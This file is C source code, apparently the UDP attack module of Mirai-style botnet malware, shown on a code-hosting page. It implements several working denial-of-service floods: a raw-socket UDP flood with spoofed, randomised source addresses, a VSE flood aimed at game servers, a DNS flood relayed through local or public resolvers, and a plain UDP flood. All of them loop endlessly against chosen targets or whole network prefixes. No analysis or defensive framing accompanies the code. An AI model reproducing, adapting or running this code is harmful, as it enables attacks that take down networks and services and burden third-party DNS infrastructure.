548 lines
17 KiB
C
Executable File
548 lines
17 KiB
C
Executable File
#define _GNU_SOURCE
|
|
|
|
#ifdef DEBUG
|
|
#include <stdio.h>
|
|
#endif
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <sys/socket.h>
|
|
#include <arpa/inet.h>
|
|
#include <linux/ip.h>
|
|
#include <linux/udp.h>
|
|
#include <errno.h>
|
|
#include <fcntl.h>
|
|
|
|
#include "includes.h"
|
|
#include "attack.h"
|
|
#include "checksum.h"
|
|
#include "rand.h"
|
|
#include "util.h"
|
|
#include "table.h"
|
|
#include "protocol.h"
|
|
|
|
static ipv4_t get_dns_resolver(void);
|
|
|
|
void attack_udp_generic(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
|
|
{
|
|
int i, fd;
|
|
char **pkts = calloc(targs_len, sizeof (char *));
|
|
uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
|
|
uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
|
|
uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
|
|
BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE);
|
|
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
|
|
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
|
|
uint16_t data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);
|
|
BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
|
|
uint32_t source_ip = attack_get_opt_int(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);
|
|
|
|
if (data_len > 1460)
|
|
data_len = 1460;
|
|
|
|
if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) == -1)
|
|
{
|
|
#ifdef DEBUG
|
|
printf("Failed to create raw socket. Aborting attack\n");
|
|
#endif
|
|
return;
|
|
}
|
|
i = 1;
|
|
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
|
|
{
|
|
#ifdef DEBUG
|
|
printf("Failed to set IP_HDRINCL. Aborting\n");
|
|
#endif
|
|
close(fd);
|
|
return;
|
|
}
|
|
|
|
for (i = 0; i < targs_len; i++)
|
|
{
|
|
struct iphdr *iph;
|
|
struct udphdr *udph;
|
|
|
|
pkts[i] = calloc(1510, sizeof (char));
|
|
iph = (struct iphdr *)pkts[i];
|
|
udph = (struct udphdr *)(iph + 1);
|
|
|
|
iph->version = 4;
|
|
iph->ihl = 5;
|
|
iph->tos = ip_tos;
|
|
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + data_len);
|
|
iph->id = htons(ip_ident);
|
|
iph->ttl = ip_ttl;
|
|
if (dont_frag)
|
|
iph->frag_off = htons(1 << 14);
|
|
iph->protocol = IPPROTO_UDP;
|
|
iph->saddr = source_ip;
|
|
iph->daddr = targs[i].addr;
|
|
|
|
udph->source = htons(sport);
|
|
udph->dest = htons(dport);
|
|
udph->len = htons(sizeof (struct udphdr) + data_len);
|
|
}
|
|
|
|
while (TRUE)
|
|
{
|
|
for (i = 0; i < targs_len; i++)
|
|
{
|
|
char *pkt = pkts[i];
|
|
struct iphdr *iph = (struct iphdr *)pkt;
|
|
struct udphdr *udph = (struct udphdr *)(iph + 1);
|
|
char *data = (char *)(udph + 1);
|
|
|
|
// For prefix attacks
|
|
if (targs[i].netmask < 32)
|
|
iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
|
|
|
|
if (source_ip == 0xffffffff)
|
|
iph->saddr = rand_next();
|
|
|
|
if (ip_ident == 0xffff)
|
|
iph->id = (uint16_t)rand_next();
|
|
if (sport == 0xffff)
|
|
udph->source = rand_next();
|
|
if (dport == 0xffff)
|
|
udph->dest = rand_next();
|
|
|
|
// Randomize packet content?
|
|
if (data_rand)
|
|
rand_str(data, data_len);
|
|
|
|
iph->check = 0;
|
|
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
|
|
|
|
udph->check = 0;
|
|
udph->check = checksum_tcpudp(iph, udph, udph->len, sizeof (struct udphdr) + data_len);
|
|
|
|
targs[i].sock_addr.sin_port = udph->dest;
|
|
sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct udphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
|
|
}
|
|
#ifdef DEBUG
|
|
break;
|
|
if (errno != 0)
|
|
printf("errno = %d\n", errno);
|
|
#endif
|
|
}
|
|
}
|
|
|
|
void attack_udp_vse(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
|
|
{
|
|
int i, fd;
|
|
char **pkts = calloc(targs_len, sizeof (char *));
|
|
uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
|
|
uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
|
|
uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
|
|
BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE);
|
|
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
|
|
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 27015);
|
|
char *vse_payload;
|
|
int vse_payload_len;
|
|
|
|
table_unlock_val(TABLE_ATK_VSE);
|
|
vse_payload = table_retrieve_val(TABLE_ATK_VSE, &vse_payload_len);
|
|
|
|
if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) == -1)
|
|
{
|
|
#ifdef DEBUG
|
|
printf("Failed to create raw socket. Aborting attack\n");
|
|
#endif
|
|
return;
|
|
}
|
|
i = 1;
|
|
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
|
|
{
|
|
#ifdef DEBUG
|
|
printf("Failed to set IP_HDRINCL. Aborting\n");
|
|
#endif
|
|
close(fd);
|
|
return;
|
|
}
|
|
|
|
for (i = 0; i < targs_len; i++)
|
|
{
|
|
struct iphdr *iph;
|
|
struct udphdr *udph;
|
|
char *data;
|
|
|
|
pkts[i] = calloc(128, sizeof (char));
|
|
iph = (struct iphdr *)pkts[i];
|
|
udph = (struct udphdr *)(iph + 1);
|
|
data = (char *)(udph + 1);
|
|
|
|
iph->version = 4;
|
|
iph->ihl = 5;
|
|
iph->tos = ip_tos;
|
|
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (uint32_t) + vse_payload_len);
|
|
iph->id = htons(ip_ident);
|
|
iph->ttl = ip_ttl;
|
|
if (dont_frag)
|
|
iph->frag_off = htons(1 << 14);
|
|
iph->protocol = IPPROTO_UDP;
|
|
iph->saddr = LOCAL_ADDR;
|
|
iph->daddr = targs[i].addr;
|
|
|
|
udph->source = htons(sport);
|
|
udph->dest = htons(dport);
|
|
udph->len = htons(sizeof (struct udphdr) + 4 + vse_payload_len);
|
|
|
|
*((uint32_t *)data) = 0xffffffff;
|
|
data += sizeof (uint32_t);
|
|
util_memcpy(data, vse_payload, vse_payload_len);
|
|
}
|
|
|
|
while (TRUE)
|
|
{
|
|
for (i = 0; i < targs_len; i++)
|
|
{
|
|
char *pkt = pkts[i];
|
|
struct iphdr *iph = (struct iphdr *)pkt;
|
|
struct udphdr *udph = (struct udphdr *)(iph + 1);
|
|
|
|
// For prefix attacks
|
|
if (targs[i].netmask < 32)
|
|
iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
|
|
|
|
if (ip_ident == 0xffff)
|
|
iph->id = (uint16_t)rand_next();
|
|
if (sport == 0xffff)
|
|
udph->source = rand_next();
|
|
if (dport == 0xffff)
|
|
udph->dest = rand_next();
|
|
|
|
iph->check = 0;
|
|
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
|
|
|
|
udph->check = 0;
|
|
udph->check = checksum_tcpudp(iph, udph, udph->len, sizeof (struct udphdr) + sizeof (uint32_t) + vse_payload_len);
|
|
|
|
targs[i].sock_addr.sin_port = udph->dest;
|
|
sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (uint32_t) + vse_payload_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
|
|
}
|
|
#ifdef DEBUG
|
|
break;
|
|
if (errno != 0)
|
|
printf("errno = %d\n", errno);
|
|
#endif
|
|
}
|
|
}
|
|
|
|
void attack_udp_dns(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
|
|
{
|
|
int i, fd;
|
|
char **pkts = calloc(targs_len, sizeof (char *));
|
|
uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
|
|
uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
|
|
uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
|
|
BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE);
|
|
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
|
|
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 53);
|
|
uint16_t dns_hdr_id = attack_get_opt_int(opts_len, opts, ATK_OPT_DNS_HDR_ID, 0xffff);
|
|
uint8_t data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 12);
|
|
char *domain = attack_get_opt_str(opts_len, opts, ATK_OPT_DOMAIN, NULL);
|
|
int domain_len;
|
|
ipv4_t dns_resolver = get_dns_resolver();
|
|
|
|
if (domain == NULL)
|
|
{
|
|
#ifdef DEBUG
|
|
printf("Cannot send DNS flood without a domain\n");
|
|
#endif
|
|
return;
|
|
}
|
|
domain_len = util_strlen(domain);
|
|
|
|
if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) == -1)
|
|
{
|
|
#ifdef DEBUG
|
|
printf("Failed to create raw socket. Aborting attack\n");
|
|
#endif
|
|
return;
|
|
}
|
|
i = 1;
|
|
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
|
|
{
|
|
#ifdef DEBUG
|
|
printf("Failed to set IP_HDRINCL. Aborting\n");
|
|
#endif
|
|
close(fd);
|
|
return;
|
|
}
|
|
|
|
for (i = 0; i < targs_len; i++)
|
|
{
|
|
int ii;
|
|
uint8_t curr_word_len = 0, num_words = 0;
|
|
struct iphdr *iph;
|
|
struct udphdr *udph;
|
|
struct dnshdr *dnsh;
|
|
char *qname, *curr_lbl;
|
|
struct dns_question *dnst;
|
|
|
|
pkts[i] = calloc(600, sizeof (char));
|
|
iph = (struct iphdr *)pkts[i];
|
|
udph = (struct udphdr *)(iph + 1);
|
|
dnsh = (struct dnshdr *)(udph + 1);
|
|
qname = (char *)(dnsh + 1);
|
|
|
|
iph->version = 4;
|
|
iph->ihl = 5;
|
|
iph->tos = ip_tos;
|
|
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question));
|
|
iph->id = htons(ip_ident);
|
|
iph->ttl = ip_ttl;
|
|
if (dont_frag)
|
|
iph->frag_off = htons(1 << 14);
|
|
iph->protocol = IPPROTO_UDP;
|
|
iph->saddr = LOCAL_ADDR;
|
|
iph->daddr = dns_resolver;
|
|
|
|
udph->source = htons(sport);
|
|
udph->dest = htons(dport);
|
|
udph->len = htons(sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question));
|
|
|
|
dnsh->id = htons(dns_hdr_id);
|
|
dnsh->opts = htons(1 << 8); // Recursion desired
|
|
dnsh->qdcount = htons(1);
|
|
|
|
// Fill out random area
|
|
*qname++ = data_len;
|
|
qname += data_len;
|
|
|
|
curr_lbl = qname;
|
|
util_memcpy(qname + 1, domain, domain_len + 1); // Null byte at end needed
|
|
|
|
// Write in domain
|
|
for (ii = 0; ii < domain_len; ii++)
|
|
{
|
|
if (domain[ii] == '.')
|
|
{
|
|
*curr_lbl = curr_word_len;
|
|
curr_word_len = 0;
|
|
num_words++;
|
|
curr_lbl = qname + ii + 1;
|
|
}
|
|
else
|
|
curr_word_len++;
|
|
}
|
|
*curr_lbl = curr_word_len;
|
|
|
|
dnst = (struct dns_question *)(qname + domain_len + 2);
|
|
dnst->qtype = htons(PROTO_DNS_QTYPE_A);
|
|
dnst->qclass = htons(PROTO_DNS_QCLASS_IP);
|
|
}
|
|
|
|
while (TRUE)
|
|
{
|
|
for (i = 0; i < targs_len; i++)
|
|
{
|
|
char *pkt = pkts[i];
|
|
struct iphdr *iph = (struct iphdr *)pkt;
|
|
struct udphdr *udph = (struct udphdr *)(iph + 1);
|
|
struct dnshdr *dnsh = (struct dnshdr *)(udph + 1);
|
|
char *qrand = ((char *)(dnsh + 1)) + 1;
|
|
|
|
if (ip_ident == 0xffff)
|
|
iph->id = rand_next() & 0xffff;
|
|
if (sport == 0xffff)
|
|
udph->source = rand_next() & 0xffff;
|
|
if (dport == 0xffff)
|
|
udph->dest = rand_next() & 0xffff;
|
|
|
|
if (dns_hdr_id == 0xffff)
|
|
dnsh->id = rand_next() & 0xffff;
|
|
|
|
rand_alphastr((uint8_t *)qrand, data_len);
|
|
|
|
iph->check = 0;
|
|
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
|
|
|
|
udph->check = 0;
|
|
udph->check = checksum_tcpudp(iph, udph, udph->len, sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question));
|
|
|
|
targs[i].sock_addr.sin_addr.s_addr = dns_resolver;
|
|
targs[i].sock_addr.sin_port = udph->dest;
|
|
sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question), MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
|
|
}
|
|
#ifdef DEBUG
|
|
break;
|
|
if (errno != 0)
|
|
printf("errno = %d\n", errno);
|
|
#endif
|
|
}
|
|
}
|
|
|
|
void attack_udp_plain(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
|
|
{
|
|
#ifdef DEBUG
|
|
printf("in udp plain\n");
|
|
#endif
|
|
|
|
int i;
|
|
char **pkts = calloc(targs_len, sizeof (char *));
|
|
int *fds = calloc(targs_len, sizeof (int));
|
|
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
|
|
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
|
|
uint16_t data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);
|
|
BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
|
|
struct sockaddr_in bind_addr = {0};
|
|
|
|
if (sport == 0xffff)
|
|
{
|
|
sport = rand_next();
|
|
} else {
|
|
sport = htons(sport);
|
|
}
|
|
|
|
#ifdef DEBUG
|
|
printf("after args\n");
|
|
#endif
|
|
|
|
for (i = 0; i < targs_len; i++)
|
|
{
|
|
struct iphdr *iph;
|
|
struct udphdr *udph;
|
|
char *data;
|
|
|
|
pkts[i] = calloc(65535, sizeof (char));
|
|
|
|
if (dport == 0xffff)
|
|
targs[i].sock_addr.sin_port = rand_next();
|
|
else
|
|
targs[i].sock_addr.sin_port = htons(dport);
|
|
|
|
if ((fds[i] = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1)
|
|
{
|
|
#ifdef DEBUG
|
|
printf("Failed to create udp socket. Aborting attack\n");
|
|
#endif
|
|
return;
|
|
}
|
|
|
|
bind_addr.sin_family = AF_INET;
|
|
bind_addr.sin_port = sport;
|
|
bind_addr.sin_addr.s_addr = 0;
|
|
|
|
if (bind(fds[i], (struct sockaddr *)&bind_addr, sizeof (struct sockaddr_in)) == -1)
|
|
{
|
|
#ifdef DEBUG
|
|
printf("Failed to bind udp socket.\n");
|
|
#endif
|
|
}
|
|
|
|
// For prefix attacks
|
|
if (targs[i].netmask < 32)
|
|
targs[i].sock_addr.sin_addr.s_addr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
|
|
|
|
if (connect(fds[i], (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)) == -1)
|
|
{
|
|
#ifdef DEBUG
|
|
printf("Failed to connect udp socket.\n");
|
|
#endif
|
|
}
|
|
}
|
|
|
|
#ifdef DEBUG
|
|
printf("after setup\n");
|
|
#endif
|
|
|
|
while (TRUE)
|
|
{
|
|
for (i = 0; i < targs_len; i++)
|
|
{
|
|
char *data = pkts[i];
|
|
|
|
// Randomize packet content?
|
|
if (data_rand)
|
|
rand_str(data, data_len);
|
|
|
|
#ifdef DEBUG
|
|
errno = 0;
|
|
if (send(fds[i], data, data_len, MSG_NOSIGNAL) == -1)
|
|
{
|
|
printf("send failed: %d\n", errno);
|
|
} else {
|
|
printf(".\n");
|
|
}
|
|
#else
|
|
send(fds[i], data, data_len, MSG_NOSIGNAL);
|
|
#endif
|
|
}
|
|
#ifdef DEBUG
|
|
break;
|
|
if (errno != 0)
|
|
printf("errno = %d\n", errno);
|
|
#endif
|
|
}
|
|
}
|
|
|
|
static ipv4_t get_dns_resolver(void)
|
|
{
|
|
int fd;
|
|
|
|
table_unlock_val(TABLE_ATK_RESOLVER);
|
|
fd = open(table_retrieve_val(TABLE_ATK_RESOLVER, NULL), O_RDONLY);
|
|
table_lock_val(TABLE_ATK_RESOLVER);
|
|
if (fd >= 0)
|
|
{
|
|
int ret, nspos;
|
|
char resolvbuf[2048];
|
|
|
|
ret = read(fd, resolvbuf, sizeof (resolvbuf));
|
|
close(fd);
|
|
table_unlock_val(TABLE_ATK_NSERV);
|
|
nspos = util_stristr(resolvbuf, ret, table_retrieve_val(TABLE_ATK_NSERV, NULL));
|
|
table_lock_val(TABLE_ATK_NSERV);
|
|
if (nspos != -1)
|
|
{
|
|
int i;
|
|
char ipbuf[32];
|
|
BOOL finished_whitespace = FALSE;
|
|
BOOL found = FALSE;
|
|
|
|
for (i = nspos; i < ret; i++)
|
|
{
|
|
char c = resolvbuf[i];
|
|
|
|
// Skip leading whitespace
|
|
if (!finished_whitespace)
|
|
{
|
|
if (c == ' ' || c == '\t')
|
|
continue;
|
|
else
|
|
finished_whitespace = TRUE;
|
|
}
|
|
|
|
// End if c is not either a dot or a number
|
|
if ((c != '.' && (c < '0' || c > '9')) || (i == (ret - 1)))
|
|
{
|
|
util_memcpy(ipbuf, resolvbuf + nspos, i - nspos);
|
|
ipbuf[i - nspos] = 0;
|
|
found = TRUE;
|
|
break;
|
|
}
|
|
}
|
|
|
|
if (found)
|
|
{
|
|
#ifdef DEBUG
|
|
printf("Found local resolver: '%s'\n", ipbuf);
|
|
#endif
|
|
return inet_addr(ipbuf);
|
|
}
|
|
}
|
|
}
|
|
|
|
switch (rand_next() % 4)
|
|
{
|
|
case 0:
|
|
return INET_ADDR(8,8,8,8);
|
|
case 1:
|
|
return INET_ADDR(74,82,42,42);
|
|
case 2:
|
|
return INET_ADDR(64,6,64,6);
|
|
case 3:
|
|
return INET_ADDR(4,2,2,2);
|
|
}
|
|
}
|